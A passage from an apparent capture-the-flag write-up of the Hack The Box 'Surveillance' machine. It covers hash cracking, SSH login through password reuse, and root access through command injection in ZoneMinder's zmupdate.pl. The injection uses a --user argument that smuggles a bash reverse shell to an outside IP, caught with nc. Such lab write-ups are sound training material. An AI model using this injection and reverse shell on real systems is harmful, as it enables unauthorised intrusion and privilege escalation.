└─$ hashcat mysql_matthew.hash /opt/wordlists/rockyou.txt -m 1400 --show
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490

SSH as Matthew

Password reuse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(bravosec㉿fsociety)-[~/htb/Surveillance]
└─$ cssh matthew@surveillance.htb 'starcraft122490'
Warning: Permanently added 'surveillance.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Dec 16 04:26:07 PM UTC 2023

  System load:  0.0166015625      Processes:             259
  Usage of /:   84.8% of 5.91GB   Users logged in:       0
  Memory usage: 24%               IPv4 address for eth0: 10.129.57.44
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Dec  5 12:43:54 2023 from 10.10.14.40
matthew@surveillance:~$ id
uid=1000(matthew) gid=1000(matthew) groups=1000(matthew)
matthew@surveillance:~$ cat user.txt
8b30daf0e99e2637285179c7acb37d26

Root Flag


From matthew to root

Foothold

Remember the sudoers rules for user zoneminder?

I gave up trying that since I haven’t got user flag at that time, now it doesn’t seem to be a rabbit hole

Next move is to check if any user input leads to command injection

Analyze zoneminder perl scripts

To get a list of functions that could execute system commands,

Google : perl functions to execute system command

https://bioinformaticsreview.com/20180506/how-to-execute-unix-shell-commands-in-a-perl-script/

Check the functions one by one to filter out false positives

1
2
3
grep -i 'exec' $(ls /usr/bin/zm[a-zA-Z]*.pl) -E5
grep -i 'sysyem' $(ls /usr/bin/zm[a-zA-Z]*.pl) -E5
grep -i 'eval' $(ls /usr/bin/zm[a-zA-Z]*.pl) -E5

By checking for qx, found out /usr/bin/zmupdate.pl have a function patchDB() that is vulnerable to command injection

1
grep -i 'qx' $(ls /usr/bin/zm[a-zA-Z]*.pl) -E5

The command variable starts with mysql

1
my $command = 'mysql';

We can specify $dbUser to execute commands since it wasn’t sanitized

1
2
3
4
5
6
  if ($super) {
    $command .= ' --defaults-file=/etc/mysql/debian.cnf';
  } elsif ($dbUser) {
    $command .= ' -u'.$dbUser;
    $command .= ' -p\''.$dbPass.'\'' if $dbPass;
  }
1
2
3
  print("Executing '$command'\n") if logDebugging();
  ($command) = $command =~ /(.*)/; # detaint
  my $output = qx($command);

For patchDB to be called, we need to specify version

Command injection in zmupdate.pl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo /usr/bin/zmupdate.pl --help
Unknown option: help
Usage:
    zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version>
    [-u <dbuser> -p <dbpass>]

Options:
    -c, --check - Check for updated versions of ZoneMinder -f, --freshen -
    Freshen the configuration in the database. Equivalent of old zmconfig.pl
    -noi --migrate-events - Update database structures as per
    USE_DEEP_STORAGE setting. -v <version>, --version=<version> - Force
    upgrade to the current version from <version> -u <dbuser>,
    --user=<dbuser> - Alternate DB user with privileges to alter DB -p
    <dbpass>, --pass=<dbpass> - Password of alternate DB user with
    privileges to alter DB -s, --super - Use system maintenance account on
    debian based systems instead of unprivileged account -d <dir>,
    --dir=<dir> - Directory containing update files if not in default build
    location -interactive - interact with the user -nointeractive - do not
    interact with the user
1
2
3
4
5
6
7
8
9
10
11
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo /usr/bin/zmupdate.pl -v 2 --user '$(/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.30/443 0>&1")'

Initiating database upgrade to version 1.36.32 from version 2

WARNING - You have specified an upgrade from version 2 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-2.dump. This may take several minutes.
1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/Surveillance]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.30] from (UNKNOWN) [10.129.230.42] 48514
root@surveillance:/usr/share/zoneminder/www# id
uid=0(root) gid=0(root) groups=0(root)
root@surveillance:/usr/share/zoneminder/www# cat /root/root.txt
f0ae9fa51066143bb06a0ef75383295a

Additional


This post is licensed under CC BY 4.0 by the author.